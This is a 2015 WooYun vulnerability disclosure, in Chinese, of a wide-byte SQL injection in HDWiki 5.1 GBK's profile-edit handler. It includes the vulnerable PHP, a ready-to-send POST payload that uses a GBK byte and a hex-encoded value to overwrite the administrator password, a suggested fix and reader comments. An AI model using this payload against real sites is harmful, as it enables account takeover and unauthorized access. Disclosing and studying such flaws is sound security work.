当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(47) 关注此漏洞

缺陷编号: WooYun-2015-98651

漏洞标题: HDWIKI最新版Update注入可修改管理员密码(MYSQL进制技巧)

相关厂商: 互动在线(北京)科技有限公司

漏洞作者: 小飞

提交时间: 2015-02-27 22:45

公开时间: 2015-06-02 22:47

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 sql注射漏洞利用技巧

18人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-27: 细节已通知厂商并且等待厂商处理中
2015-03-04: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-04-28: 细节向核心白帽子及相关领域专家公开
2015-05-08: 细节向普通白帽子公开
2015-05-18: 细节向实习白帽子公开
2015-06-02: 细节向公众公开

简要描述:

最新版HDWIKI 5.1 GBK
无视GPC
上首页吧!

详细说明:

问题出在\hdwiki\control\user.php下

最新版HDWIKI 5.1 GBK版本

HDWIKI全局过滤,但是面对宽字节注入,就容易出问题了

code 区域
function doeditprofile(){
if(isset($this->post['submit'])){
$gender = intval($this->post['gender']);
$birthday = strtotime($this->post['birthday']);
$location = $this->post['location'];
$signature = $this->post['signature'];
if (WIKI_CHARSET == 'GBK'){
$location = string::hiconv($location);
$signature = string::hiconv($signature);
}
$location = htmlspecialchars($location);
$signature = htmlspecialchars(str_replace(array('\n','\r'),'',$signature));

$_ENV['user']->set_profile($gender,$birthday,$location,$signature,$this->user['uid']);
}else{
if(0 == $this->user['birthday']){
$birthday = '';
}else{
$birthday=$this->setting['time_offset']*3600+$this->setting['time_diff']*60+$this->user['birthday'];
$birthday = date('Y-m-d',$birthday);
}

$this->view->assign('birthday',$birthday);
//$this->view->display('editprofile');
$_ENV['block']->view('editprofile');
}
}







关键代码是

code 区域
$location = string::hiconv($location);
$signature = string::hiconv($signature);
}
$location = htmlspecialchars($location);
$signature = htmlspecialchars(str_replace(array('\n','\r'),'',$signature));







HDWIKI在大部分编码转换之后的地方都会addslashes

这里我们跟进这个函数set_profile()

code 区域
function set_profile($gender,$birthday,$location,$signature,$uid){
$this->db->query("UPDATE `".DB_TABLEPRE."user` SET gender = '$gender',birthday = '$birthday',location = '$location',signature = '$signature' WHERE uid = $uid");



进入mysql前并没有进行addslashes

而且我们有$location,$signature

思路是让location引入\注释后面的单引号 由signature来注入



由于没有开display_error ,我们延时看看

dsa.png



我们就能盲注查询管理员密码

但是有时候密码是破不出来的,怎么办呢

我们其实可以替换管理员密码

先说说HDWKI的表构造

由于管理员和普通的账号都存储在wiki_user下,所以这里由于是update的是这个表

但是问题来了

我们引入password的时候 格式一般都是

code 区域
password='b5ebc89058e80ef0189090a0390109e4'



但是这里是无法引入单引号的(会被addslashes),而不打单引号又会被当成表名,不被识别为value。





这里用要一个小技巧

MYSQL对十六进制是能够自动识别 转换的。

比如

wadasd.png



这样我们就能绕过单引号而update管理员密码了

我们先本地用脚本转换ascii为hex

code 区域
<?php 
echo bin2hex($_GET[a]);
?>



然后向http://localhost/hdwiki/index.php?user-editprofile

post

code 区域
gender=0&birthday=2015-02-18&location=%E9%8C%A6%27&signature=, password=0x3231323332663239376135376135613734333839346130653461383031666333#&submit=true





成功修改密码

yes.png













漏洞证明:

我们延时看看

dsa.png





成功修改密码

yes.png



修复方案:

set_profile函数里 查询前先addslashes



版权声明:转载请注明来源 小飞@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-02 22:47

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-02-27 23:20 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    1

    is_numeric?

  2. 2015-02-27 23:21 | 小飞 ( 实习白帽子 | Rank:52 漏洞数:12 | 挖洞对于16岁的我来说实在是太艰难了!)
    0

    @玉林嘎 不是 不过hdwiki is_numeric也有问题

  3. 2015-06-02 22:52 | null_z ( 普通白帽子 | Rank:973 漏洞数:111 | AlphaGo)
    0

    技巧不错。感谢。

登录后才能发表评论,请先 登录